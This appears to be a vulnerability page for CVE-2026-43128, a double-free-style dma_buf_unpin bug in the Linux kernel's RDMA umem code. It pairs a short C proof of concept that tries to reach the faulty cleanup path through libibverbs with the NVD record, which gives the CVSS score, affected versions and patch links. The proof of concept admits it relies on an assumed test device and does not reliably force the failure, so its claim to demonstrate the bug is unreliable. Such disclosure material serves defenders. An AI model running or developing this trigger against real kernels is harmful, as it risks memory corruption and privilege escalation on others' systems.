CVE-2026-43128

/* * PoC for CVE-2026-43128 * Demonstration of triggering the double dma_buf_unpin in Linux Kernel RDMA. * This code attempts to trigger the failure path in ib_umem_dmabuf_get_pinned_with_dma_device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <infiniband/verbs.h> int main() { struct ibv_context *ctx; struct ibv_pd *pd; int dmabuf_fd; struct ibv_mr *mr = NULL; int ret; // 1. Open RDMA device int num_devices; struct ibv_device **dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices == 0) { perror("No RDMA devices found"); return -1; } ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); return -1; } pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to allocate PD"); ibv_close_device(ctx); return -1; } // 2. Prepare a dmabuf (Simplified setup) // In a real scenario, creating a dmabuf that fails mapping requires specific memory pressure or driver quirks. // Here we assume the existence of a device or file providing dmabuf. dmabuf_fd = open("/dev/dmabuf_test", O_RDWR); if (dmabuf_fd < 0) { printf("Note: PoC requires a valid dmabuf fd to trigger kernel path.\n"); } // 3. Attempt to register memory region // This calls ib_umem_dmabuf_get_pinned_with_dma_device internally. // If map_pages fails, the vulnerability triggers on cleanup. if (dmabuf_fd >= 0) { mr = ibv_reg_dmabuf_mr(pd, 0, 4096, 0, dmabuf_fd, 0, NULL); if (!mr) { printf("ibv_reg_dmabuf_mr failed. Kernel state might be corrupted if map_pages failed.\n"); } } // 4. Cleanup triggers ib_umem_release -> potential double unpin if (mr) { ibv_dereg_mr(mr); } ibv_dealloc_pd(pd); ibv_close_device(ctx); free(dev_list); return 0; }

{"cve": {"id": "CVE-2026-43128", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:29.837", "lastModified": "2026-05-08T17:52:13.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/umem: Fix double dma_buf_unpin in failure path\n\nIn ib_umem_dmabuf_get_pinned_with_dma_device(), the call to\nib_umem_dmabuf_map_pages() can fail. If this occurs, the dmabuf\nis immediately unpinned but the umem_dmabuf->pinned flag is still\nset. Then, when ib_umem_release() is called, it calls\nib_umem_dmabuf_revoke() which will call dma_buf_unpin() again.\n\nFix this by removing the immediate unpin upon failure and just let\nthe ib_umem_release/revoke path handle it. This also ensures the\nproper unmap-unpin unwind ordering if the dmabuf_map_pages call\nhappened to fail due to dma_resv_wait_timeout (and therefore has\na non-NULL umem_dmabuf->sgt)."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/104016eb671e19709721c1b0048dd912dc2e96be", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/40126bcbefa79ea86672e05dae608596bab38319", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70542b69abff34d24b11ae0bb200cc7a766d18df", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b324327ff6f48d8065dca67eb3b91357e72726bd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ba3bf0f1bf1d5d0404678485e872980532fcc2c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d3e32e2f3262f1b25d77c085ace38e2cc4ad75cf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}